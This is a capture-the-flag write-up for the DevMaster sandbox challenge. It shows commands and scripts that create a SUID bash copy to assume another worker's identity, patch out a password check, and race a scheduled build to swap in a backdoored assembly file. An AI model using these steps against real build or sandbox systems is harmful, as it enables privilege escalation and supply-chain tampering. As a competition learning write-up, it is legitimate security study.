Rating:
This challenge acted as build service. You could upload and execute files to it. Worker environment is sandboxed, and writable is only workdir of worker and /tmp. If we connect to the server using --admin flag, we have to pass in password for it to print the winning flag.
Same exploit method works for DevMaster 8000 and DevMaster 8001.
## Idea
After some time of solving this sandbox challenge I got curious about the /tmp folder. I could see temporary assembly file appear there for a second from time to time. Realizing that this assembly is output of g++ from sandboxed admin rebuild script, that is run every 30 seconds, an idea came to my mind. We could replace this file right before it will produce the final admin executable and effectively remove the check. The problem is that this file is owned by specific worker user, that is inaccessible to us, while it's building. To impersonate **uid** of that specific worker we have to do few things.
## Preparation
Modify the admin program, so it won't check our supplied password.
```
std::string expected_hash = std::string(pieces) + "31205d449bc376d0dacb39bf25f4729999bd78d69695fd8dc211c2306209b";
std::string actual_hash = picosha2::hash256_hex_string(password);
//if (expected_hash == actual_hash) {
if (true) {
std::ifstream flagfile("./flag");
if (!flagfile.is_open()) {
std::cerr << "Failed to open ./flag" << std::endl;
```
Run supplied multiplexer and connect to it with two interactive bash jobs. Upload drop_privs exe to the first bash session and edited admin program source to the second bash session.
```
cromize@jupiter:~/devmaster$ ./multiplexer 13377 nc devmaster-8001.ctfcompetition.com 1337
[!] Multiplexer started, listening on port 13377
```
```
cromize@jupiter:~/devmaster$ cp built_bins/drop_privs ../
cromize@jupiter:~/devmaster$ built_bins/client nc localhost 13377 -- drop_privs -- drop_privs -- bash -i
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ ls
drop_privs
```
```
cromize@jupiter:~/devmaster$ built_bins/client nc localhost 13377 -- admin.cc -- admin.cc -- bash -i
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ ls
admin.cc
```
### sandbox-runner-0
Inside the `sandbox-runner-0` make the workdir accessible to everyone and copy bash here. Make bash in workdir executable by everyone and set SUID bit. Exit this bash session, so admin build worker can use this worker for building.
```
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod 777 ../build-workdir-XXRw4T
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ cp /bin/bash .
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod 777 bash
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod u+s bash
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ exit
```
### sandbox-runner-1
Coming back to `sandbox-runner-1`, let's compile our modified admin source into assembly file.
```
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cp ../../picosha2.h .
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ g++ --std=c++11 admin.cc -ftemplate-depth=1000000 -o admin -S
```
Make the admin file executable by everyone and copy it into /tmp.
```
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ chmod 777 admin
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cp admin /tmp/admin
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ ls /tmp
admin
user
```
## Exploit
Change into old workdir of `sandbox-runner-0` and run that SUID bash there. You have to run it with -p flag to not loose gained **euid** privilege.
```
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cd ../build-workdir-XXRw4T
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-XXRw4T$ ./bash -p
$ id
uid=1339(sandbox-runner-1) gid=1339(sandbox-runner-1) euid=1338(sandbox-runner-0) groups=1339(sandbox-runner-1),0(root)
```
Notice that our **euid** is `sandbox-runner-0` one. Having **euid** of worker, that is used for admin build, we can now run supplied drop_privs to gain **uid** of `sandbox-runner-0`.
```
$ ./drop_privs sandbox-runner-0 sandbox-runner-1 bash -p
$ id
uid=1338(sandbox-runner-0) gid=1339(sandbox-runner-1) groups=1339(sandbox-runner-1),0(root)
```
Having real **uid** of `sandbox-runner-0` we can now compromise the intermediate assembly used for building.
Using this script, we can detect the intermediate assembly file made during compilation of admin exe and replace it. Just copy paste the script into our impersonated `sandbox-runner-0` bash and wait for the replacement.
```
#!/bin/bash
rename() {
echo here it is /tmp/*.s ;
cp -f /tmp/admin /tmp/*.s ;
}
while true; do
if [ $(ls -1 /tmp | wc -l) -eq 3 ] ; then
rename ;
fi ;
done
```
If you see it echo, you can now try to connect to the server with the --admin flag and get the flag.
```
cromize@jupiter:~/devmaster$ built_bins/client --admin nc localhost 13377 -- drop_privs -- drop_privs --
Enter your password please.
CTF{devMaster-8001-premium-flag}
```
If it didn't work, try to wait for the next rebuild. Time window for the race is quite small.
